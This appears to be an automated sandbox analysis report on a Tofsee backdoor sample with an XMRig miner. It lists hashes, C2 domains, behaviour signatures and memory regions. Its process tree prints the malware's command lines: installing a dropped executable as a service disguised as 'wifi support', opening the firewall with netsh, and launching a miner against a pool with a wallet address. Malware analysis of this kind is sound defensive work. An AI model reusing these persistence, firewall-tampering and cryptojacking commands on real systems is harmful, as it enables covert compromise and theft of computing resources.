Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:29

General

  • Target

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe

  • Size

    254KB

  • MD5

    02ac11d7691ed7141949fc5c03d5aae8

  • SHA1

    b122e23b4dfb29d4efedbbe7a72c75d696f8a7ac

  • SHA256

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee

  • SHA512

    c437f0cec3cbe5a62a650cafd0814016864c083a2df5a65000d0411b8249daec0744b7c948039a97848135a263ba183a9cb00876fbc3d22ee1e8322dfda0e55e

  • SSDEEP

    3072:M9xGAh803FPqB1HzqotaoQpxVKPk4hjw6EX7eUkpvTRSdnbr4rO/p/4CY/:w/8iYlAxVKMuELrdnbr4yG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe
    "C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1872
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lojiknei\
      2⤵
        PID:1388
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kzrydbgy.exe" C:\Windows\SysWOW64\lojiknei\
        2⤵
          PID:2428
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lojiknei binPath= "C:\Windows\SysWOW64\lojiknei\kzrydbgy.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lojiknei "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lojiknei
          2⤵
          • Launches sc.exe
          PID:2576
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2696
      • C:\Windows\SysWOW64\lojiknei\kzrydbgy.exe
        C:\Windows\SysWOW64\lojiknei\kzrydbgy.exe /d"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2488
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1152

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\kzrydbgy.exe

              Filesize

              12.7MB

              MD5

              97bf6d7e541e5931ae6618dfad4ae9c6

              SHA1

              80ad2d8c4ab5a7d15980ec2ce75c42498a74fead

              SHA256

              3b4a68d3911e1294e4034929404da70d89d3bc779ed389d2b7bf0c75bbbee327

              SHA512

              e140c2ca384765c28664869dad1571febf582ca6bf259dda587cfb2758cf35c5a78e785594c5977a8bc6a753e62cf96eb47771df6f307ec3dae9a338b69ce930

            • C:\Windows\SysWOW64\lojiknei\kzrydbgy.exe

              Filesize

              12.7MB

              MD5

              97bf6d7e541e5931ae6618dfad4ae9c6

              SHA1

              80ad2d8c4ab5a7d15980ec2ce75c42498a74fead

              SHA256

              3b4a68d3911e1294e4034929404da70d89d3bc779ed389d2b7bf0c75bbbee327

              SHA512

              e140c2ca384765c28664869dad1571febf582ca6bf259dda587cfb2758cf35c5a78e785594c5977a8bc6a753e62cf96eb47771df6f307ec3dae9a338b69ce930

            • memory/1152-76-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-75-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-73-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-74-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-72-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-71-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-70-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-62-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1152-61-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/1872-4-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/1872-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/1872-1-0x0000000000270000-0x0000000000370000-memory.dmp

              Filesize

              1024KB

            • memory/1872-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2488-38-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-46-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-29-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-32-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-33-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-34-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-35-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-36-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-37-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-25-0x0000000001A70000-0x0000000001C7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2488-39-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-40-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-41-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-42-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-43-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-44-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-45-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2488-47-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-48-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2488-49-0x0000000000270000-0x0000000000275000-memory.dmp

              Filesize

              20KB

            • memory/2488-52-0x0000000000270000-0x0000000000275000-memory.dmp

              Filesize

              20KB

            • memory/2488-53-0x00000000054E0000-0x00000000058EB000-memory.dmp

              Filesize

              4.0MB

            • memory/2488-56-0x00000000054E0000-0x00000000058EB000-memory.dmp

              Filesize

              4.0MB

            • memory/2488-57-0x0000000000280000-0x0000000000287000-memory.dmp

              Filesize

              28KB

            • memory/2488-22-0x0000000001A70000-0x0000000001C7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2488-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2488-78-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2488-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2488-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2488-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2488-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2496-10-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2496-9-0x00000000005C0000-0x00000000006C0000-memory.dmp

              Filesize

              1024KB

            • memory/2496-16-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB